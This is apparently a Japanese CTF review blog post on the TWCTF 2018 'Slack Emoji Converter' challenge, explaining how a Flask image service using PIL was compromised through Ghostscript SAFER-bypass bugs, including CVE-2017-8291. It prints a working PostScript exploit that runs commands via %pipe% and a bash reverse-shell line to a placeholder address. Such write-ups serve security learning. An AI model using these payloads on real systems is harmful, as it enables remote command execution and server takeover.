fr33f0r4ll

自分用雑記

TWCTF2018の反省 Slacki Emoji Converter

Slack Emoji Converterの復習

解けなかったので再チャレンジ、ヒント貰ったりWriteup見ながらやった。

まず問題文中で示されているURLにアクセス。 画像を変換するっぽい感じのページが出てくるが、とりあえずソースを見る。 html中にコメントアウトされた/sourceというリンクがあるので、アクセスしてみるとソースコードが見れる。 それをダウンロード。

内容はPythonのflaskのコードだった、このWebサービス自体のコードっぽい。 それによると、/convにPOSTで投げた画像をPILを使って読み込み、縮小して返していることが分かる。 変換コードはこんな感じ。

@app.route('/conv', methods=['POST'])
def conv():
    f = request.files.get('image', None)

    if not f:
        return redirect(url_for('index'))

    ext = f.filename.split('.')[-1]
    fname = tempfile.mktemp("emoji")
    fname = "{}.{}".format(fname, ext)
    f.save(fname)

    img = Image.open(fname)
    w, h = img.size
    r = 128/max(w, h)
    newimg = img.resize((int(w*r), int(h*r)))
    newimg.save(fname)

    response = make_response()
    response.data = open(fname, "rb").read()
    response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename)
    os.unlink(fname)
    return response

攻撃ポイントは画像とファイル名くらいだったので色々考えてみたが分からなかった。 ここで詰まったのでヒントを貰った、ライブラリの脆弱性を探すと良いらしい。 色々調べてみると、PostScriptをPILで読み込むと内部でghostscriptが使われるらしく、それを利用してghostscriptの脆弱性を攻撃できるっぽいことが分かった。

GhostButt CVE-2017-8291が使える気がしたが何故か刺さらなかった、後で調べても使えそうな気がしたけどどっかでエラーを起こしてる。 これは後で検証する。

ここでもうwriteupを見た、実際は別のもっと新しい脆弱性を使うらしい。 https://kingx.me/latest-vulns/に載ってた。

ここで脆弱性の説明をする前にghostscriptの説明。 ghostscriptにはSAFERと呼ばれるサンドボックス機能がありPILはそれを使用しているが、これを回避できる脆弱性がいくつかある。 今回使った脆弱性は、保存されたインタープリターの状態を復元するrestoreコマンドが失敗すると、権限/invalidaccessをチェックする機能がそれ以降働かなくなる(おそらく状態を中途半端に復元して変更してしまうためだろうか?)ので、任意のコマンドを実行できるようになるというものである。 これにより任意のコマンド(PoCだとidコマンド)を実行できる。 PoCコードは以下

%!PS
userdict /setpagedevice undef % userdictという辞書からsetpagedeviceという名前を削除
save % スタックに状態を保存
legal % ページ設定、サイズをlegalに

% 無名関数をスタックに積み、stoppedが実行。null restoreはエラーを起こし、stoppedがtrueになりpopが実行される
{ null restore } stopped { pop } if 

% 正常な処理、これはなくても良さそう。要検証
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops 
% restoreが失敗したあと何故か/invalidaccessのチェックが働かないバグがあるため、本来なら実行できない
% 意味としては、現在のデバイスの/OutputFileプロパティにパイプしたコマンド実行を設定しろという意味?
% この結果コマンドが実行されるっぽい

普通にポート開けてアクセスしようとしたがそれは弾かれたので、リバースシェルする。

mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/"your_ip_addr"/"your_favorite_port" 0>&1') currentdevice putdeviceprops

という感じになる。 リモートにはPythonもあるのでそれでも良いかも、好きな方をどうぞ。

流れとしては 1. リバースシェルを起動するpostscriptファイルを作成 2. リバースシェルを待ち受けしておく 3. Slack Emoji Serviceにpostscriptファイルをドラッグ&ドロップ、convert 4. 待ち受けたリバースシェルからシステムにアクセス という感じ。

フラグはルートにあるflagの中にある。


色々調べたことをメモ代わりに残しておく。Postscriptにちょっと詳しくなってしまった。

Ghostscript

Wiki

Ghostscript(ゴーストスクリプト)は、PostScript や Portable Document Format (PDF) などアドビシステムズのページ記述言語用のインタプリタおよび、それを基にしたソフトウェアパッケージのことである。フリーソフトウェアとして配布されている。

要はPostScriptを画像に変換するのに使われるソフトウェア。

PythonのPILではPostScriptファイルを読み込むときghostscript(gsコマンド)を実行して画像に変換している。

PIL

参考サイト

https://github.com/neargle/PIL-RCE-By-GhostButt/blob/master/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability.md

参考にしたサイトによると、以下のような呼び出しをしているらしい。

command = ["gs",
            "-q",                         # quiet mode
            "-g%dx%d" % size,             # set output geometry (pixels)
            "-r%fx%f" % res,              # set input DPI (dots per inch)
            "-dBATCH",                    # exit after processing
            "-dNOPAUSE",                  # don't pause between pages,
            "-dSAFER",                    # safe mode
            "-sDEVICE=ppmraw",            # ppm driver
            "-sOutputFile=%s" % outfile,  # output file
            "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                            # adjust for image origin
            "-f", infile,                 # input file
            ]

-dSAFERというのが特に重要で、ghostscriptのアクセス制限を有効にするオプションである。

SAFER

manページを一部抜粋

SAFER MODE The -dSAFER option disables the "deletefile" and "renamefile" operators and prohibits opening piped commands ("%pipe%cmd"). Only "%stdout" and "%stderr" can be opened for writing. It also disables reading from files, except for "%stdin", files given as a command line argument, and files contained in paths given by LIBPATH and FONTPATH or specified by the system params /FontResourceDir and /GenericResourceDir.

見てみると(%pipe%cmd)でコマンドが実行できるが、SAFERだとそれを制限できるみたいなことが書いてある。 SAFERが有効だと、Postscriptはファイルを削除したりコマンドを実行したりできないサンドボックス環境で実行されることになる。 が、実際にはこのSAFERをバイパスできる脆弱性がいくつかある。

Ghostbutt

参考サイト

CVE-2017-8291

GhostscriptでSAFERをバイパスできる脆弱性のひとつ、直訳で"幽霊の尻"。 検索して出てきたサイトには何故かSCPの動画があった。 ghostscript9.21の型の混乱によるエラーが原因らしい。

なんとmsfにモジュールがある。 exploit/unix/fileformat/ghostscript_type_confusion

参考サイトを翻訳かけながら解読して、以下のような感じだということが分かった。

.eqproc演算子の実装に脆弱性がある。 .eqproc演算子演算子スタックから2つのオペランドを取り出して比較し、結果を演算子スタックにプッシュする

<proc1> <proc2> .eqproc <bool>

オペランドの型は検査されていないので、オペレータスタック上の値もオペランドとして比較することができるらしい。

=> この辺りは良く分からないが、要は演算子と非演算子の区別を付けずに引数として扱ってしまうということだろうか?

ループを通して.eqprocを呼び出すと、型の取り違えでオペレータスタックのスタックポインタがオーバーフローする可能性がある。 スタック操作などの後続の書き込みは、制限された書き込みprimitiveになる(?)。

それで色々やると回避できるとか何とか。

PostScript

参考サイト

PostScriptも一応調べた。

スタックベースの言語で一応チューリング完全。 Forth言語に似ていて、Lispっぽいデータ構造を使うらしい。 Ghostscriptの実装だと、osbot, osp, ostopはそれぞれオペレータ用のスタックのベース、スタックポインタ、スタックトップを示している。 スタック自体はヒープ領域に確保される。

後置記法になってる。 数値などを書くとスタックに積まれていく、命令があるとスタックに積んだ値を対象に処理を行う。

実際に刺さった新しい方の脆弱性

参考にしたサイト

ghostbuttとはまったく関係ない脆弱性だった。 PoC再掲。

%!PS
userdict /setpagedevice undef % userdictという辞書からsetpagedeviceという名前を削除
save % スタックに状態を保存
legal % ページ設定、サイズをlegalに

% 無名関数をスタックに積み、stoppedが実行。null restoreはエラーを起こし、stoppedがtrueになりpopが実行される
{ null restore } stopped { pop } if 

% 正常な処理、これはなくても良さそう。要検証
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops % restoreが失敗したあと何故か/invalidaccessが働かないバグがあるため、本来なら実行できない
% 意味としては、現在のデバイスの/OutputFileプロパティにパイプしたコマンド実行を設定しろという意味?
% この結果実行されるっぽい

/invalidaccess のチェックはrestoreが失敗したあとは働かない。 エラーハンドリングの中ではSAFERのサンドボックス内でもシェルコマンドの実行ができる。